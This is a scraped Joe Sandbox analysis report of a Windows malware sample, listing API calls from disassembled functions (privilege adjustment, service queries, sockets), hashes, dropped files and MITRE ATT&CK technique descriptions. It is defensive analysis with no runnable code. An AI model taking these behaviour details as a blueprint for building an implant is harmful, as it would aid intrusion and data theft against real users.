Part of subcall function 10030BD0: lstrcmpiA.KERNEL32(?,?), ref: 10030C7E
Part of subcall function 10030BD0: SetThreadDesktop.USER32(00000000), ref: 10030C89

Part of subcall function 10027530: GetCurrentProcess.KERNEL32(00000028,?,?,?,?,?,?,?,?,?,?,00000124), ref: 100275B4
Part of subcall function 10027530: OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,00000124), ref: 100275BB
Part of subcall function 10027530: LookupPrivilegeValueA.ADVAPI32 ref: 100275EA
Part of subcall function 10027530: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000,?,?,?,00000000,100787FC,?), ref: 10027604
Part of subcall function 10027530: GetLastError.KERNEL32(?,?,?,00000000,100787FC,?), ref: 1002760A
Part of subcall function 10027530: CloseHandle.KERNEL32(?,?,?,?,00000000,100787FC,?), ref: 10027614
Part of subcall function 10027530: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,?,?,?,?,?,?,?,?,00000124), ref: 1002761E

LocalSize.KERNEL32(00000000), ref: 100210D6
LocalFree.KERNEL32(00000000,00000000,00000000), ref: 100210EA
WaitForSingleObject.KERNEL32(?,000000FF), ref: 100210F5

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: DesktopThread$CreateCurrentLocalOpenProcessToken$AdjustCloseErrorEventFreeHandleInputLastLookupObjectPrivilegePrivilegesSingleSizeSnapshotToolhelp32ValueWaitlstrcmpi
String ID:
API String ID: 1649480584-0
Opcode ID: b2fd186d60dea60b18e7665f1fbac649c551bd7b969c24e75bc93ba40ea87cd4
Instruction ID: c85d76b719439575972656a033a2b5b5b6a71999767bd8ce309b796f02c7f20d
Opcode Fuzzy Hash: b2fd186d60dea60b18e7665f1fbac649c551bd7b969c24e75bc93ba40ea87cd4
Instruction Fuzzy Hash: 02119D35D442688ADB20DF60EC56BDDB771EF55700F5001DAE44AA6292DFB51E84CF80

Function 100212C8 Relevance: 6.0, APIs: 4, Instructions: 46synchronizationCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001), ref: 100212EF

Part of subcall function 1002A4D0: OpenSCManagerA.ADVAPI32(00000000,00000000), ref: 1002A519
Part of subcall function 1002A4D0: OpenServiceA.ADVAPI32(?,?,000F01FF,1002A201,00000001), ref: 1002A5FD
Part of subcall function 1002A4D0: QueryServiceConfig2A.ADVAPI32(00000000,00000001,?,?,?), ref: 1002A628

LocalSize.KERNEL32(00000000), ref: 10021319
LocalFree.KERNEL32(00000000,00000000,00000000), ref: 1002132D
WaitForSingleObject.KERNEL32(?,000000FF,00000030), ref: 10021338

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: LocalOpenService$Config2CreateEventFreeManagerObjectQuerySingleSizeWait
String ID:
API String ID: 2777808081-0
Opcode ID: 09534b310644c52a6f99a9298f9256a5dfa951a975e56fb8d350abf1917a1f35
Instruction ID: f3c52d2cfe0528a9b8ea176afbedf66a23ab1ee80d57f860f51eea13cdfc8a0d
Opcode Fuzzy Hash: 09534b310644c52a6f99a9298f9256a5dfa951a975e56fb8d350abf1917a1f35
Instruction Fuzzy Hash: D2117C35D452389BEB20DF50EC55BDEB775EF54710F40019AE54AA6192DBB51F80CF80

Function 100203C0 Relevance: 6.0, APIs: 4, Instructions: 35synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 100203E1
CreateThread.KERNEL32(00000000,00000000,Function_0001F310,?,00000000,00000000), ref: 100203FB
WaitForSingleObject.KERNEL32(?,000000FF), ref: 10020408
CloseHandle.KERNEL32(?), ref: 10020411

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: Create$CloseEventHandleObjectSingleThreadWait
String ID:
API String ID: 3360349984-0
Opcode ID: 4a9e6af0ab6b8cbca915cad7cca1c213d56958b0c389dc99dd025bdf113dac05
Instruction ID: f54606e51e1a0b4728f0c2717eb72f4fe9e4390f74c29335ff2ac4329cce8945
Opcode Fuzzy Hash: 4a9e6af0ab6b8cbca915cad7cca1c213d56958b0c389dc99dd025bdf113dac05
Instruction Fuzzy Hash: C3F03631A44228BBEB10DFE48C46FDE7FB5EB09711F114155FB24AB2D1D6B15A548BC0

Function 1005F828 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,1005ED7C,00000000,00000001,00000000,00000000,?,100582AF,00000000,?,00000000), ref: 1005F83F
GetLastError.KERNEL32(?,1005ED7C,00000000,00000001,00000000,00000000,?,100582AF,00000000,?,00000000,00000000,00000000,?,10058803,?), ref: 1005F84B

Part of subcall function 1005F811: CloseHandle.KERNEL32(100819C0,1005F85B,?,1005ED7C,00000000,00000001,00000000,00000000,?,100582AF,00000000,?,00000000,00000000,00000000), ref: 1005F821

___initconout.LIBCMT ref: 1005F85B

Part of subcall function 1005F7D3: CreateFileW.KERNEL32(100711B8,40000000,00000003,00000000,00000003,00000000,00000000,1005F802,1005ED69,00000000,?,100582AF,00000000,?,00000000,00000000), ref: 1005F7E6

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,1005ED7C,00000000,00000001,00000000,00000000,?,100582AF,00000000,?,00000000,00000000), ref: 1005F870

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 0c8ee9046875c7748245a9d26db4b56da79f02cbe4d3ca59d0ecfca8ab75afe9
Instruction ID: ac67bddf8f52101fd1c52d39a29875ee89b29ce1ae15bc79d8ab631011ba7560
Opcode Fuzzy Hash: 0c8ee9046875c7748245a9d26db4b56da79f02cbe4d3ca59d0ecfca8ab75afe9
Instruction Fuzzy Hash: 14F01C3A441239BBDF125F95CC44AEA3FA7FF487E0F164014FA4886120CA3299609BD0

Function 10022040 Relevance: 6.0, APIs: 4, Instructions: 27COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,00000000,00000004), ref: 10022064
CancelIo.KERNEL32(?,?,100219DF,?,00000000,100216B4,?,?,10081068,?,?,?,00000000,10062583,000000FF), ref: 10022070
closesocket.WS2_32(?), ref: 10022086
SetEvent.KERNEL32(?,?,100219DF,?,00000000,100216B4,?,?,10081068,?,?,?,00000000,10062583,000000FF), ref: 10022092

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: CancelEventclosesocketsetsockopt
String ID:
API String ID: 852421847-0
Opcode ID: 18a416a65e308fca91516f1ab9571e52320d33af3778e9c1de1ab6d92bd37963
Instruction ID: df6f8a5613b988293f7468834407b88d54820ddb872680da4a738be61adc74fd
Opcode Fuzzy Hash: 18a416a65e308fca91516f1ab9571e52320d33af3778e9c1de1ab6d92bd37963
Instruction Fuzzy Hash: C5F05E31000715EFEB619B60CC49B967BABEF05310F514269F56A861B0DFB12848DB81

Function 1005E552 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

__dosmaperr.LIBCMT ref: 1005E5A3
_free.LIBCMT ref: 1005E608

Strings

SystemRoot, xrefs: 1005E843, 1005E846

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: __dosmaperr_free
String ID: SystemRoot
API String ID: 3116789124-2034820756
Opcode ID: 19a73d21b6288dd25c62479f6e9760816a64cec6a398666d2b92e28e3320fcd8
Instruction ID: 5b65ae1d6657afc16d850ee463122eae5b311d16dff0027f7b3b2ff69e91d112
Opcode Fuzzy Hash: 19a73d21b6288dd25c62479f6e9760816a64cec6a398666d2b92e28e3320fcd8
Instruction Fuzzy Hash: C421E7756042969FE708CE68C880BA9B7E8EF46798F2581ADFC85DB341FA31ED05C750

Function 1002143E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38synchronizationCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001), ref: 10021465
WaitForSingleObject.KERNEL32(?,000000FF,?,00000001), ref: 1002149B

Part of subcall function 100219C0: WaitForSingleObject.KERNEL32(?,000000FF,?,00000000,100216B4,?,?,10081068,?,?,?,00000000,10062583,000000FF,?,10018B6B), ref: 100219F2
Part of subcall function 100219C0: RtlDeleteCriticalSection.NTDLL(?), ref: 10021A0F
Part of subcall function 100219C0: WSACleanup.WS2_32 ref: 10021A15

Strings

p, xrefs: 1002148A

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: ObjectSingleWait$CleanupCreateCriticalDeleteEventSection
String ID: p
API String ID: 1919503478-2181537457
Opcode ID: 4b4d3e3c57621e71c8ced458160e02519720282f55b1d69f68e537f8979aadae
Instruction ID: 3877883f66ecdafbe8ef0c958e7d9b0a3b4718399632d218a487b46c59c5b629
Opcode Fuzzy Hash: 4b4d3e3c57621e71c8ced458160e02519720282f55b1d69f68e537f8979aadae
Instruction Fuzzy Hash: 5B017135D882289EDB20DF50EC51BDEB771FB44710F5002DBE55AA6282DFB51A84CF40

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.
Tactics:	Defense Evasion
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Deletion, File: File Metadata, File: File Modification, Firewall: Firewall Rule Modification, Network Traffic: Network Traffic Content, Process: OS API Execution, Process: Process Creation, Scheduled Job: Scheduled Job Modification, User Account: User Account Authentication, User Account: User Account Deletion, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, Google Workspace, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3Kel6xErOk.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

Protection of GUI

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\pR4cysw\MSVCP140.dll

C:\Program Files (x86)\pR4cysw\VCRUNTIME140.dll

C:\Program Files (x86)\pR4cysw\libcef.dll

C:\Program Files (x86)\pR4cysw\lte7inN.exe

C:\Program Files (x86)\pR4cysw\t3d.tmp

C:\Program Files (x86)\pR4cysw\t4d.tmp

C:\Program Files (x86)\pR4cysw\t5d.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\long[1].bmp

Static File Info

Windows Analysis Report
3Kel6xErOk.exe

Function 0041E1FA Relevance: 28.3, APIs: 8, Strings: 8, Instructions: 316
memorythreadCOMMON

Function 10008BDA Relevance: 4.9, APIs: 3, Instructions: 395
timeCOMMON

Function 100039A3 Relevance: 207.9, APIs: 71, Strings: 47, Instructions: 1399
sleepregistrylibraryCOMMON

Function 100092BD Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 252
filetimeCOMMON

Function 10002D0C Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 111
filesleepCOMMON

Function 100028B9 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 312
fileCOMMON

Function 1000916F Relevance: 10.6, APIs: 7, Instructions: 114
COMMON

Function 1000A063 Relevance: 9.3, APIs: 6, Instructions: 301
COMMON

Function 0041E2F0 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 152
networkmemoryfileCOMMON

Function 0041E2FC Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 149
networkmemoryfileCOMMON

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre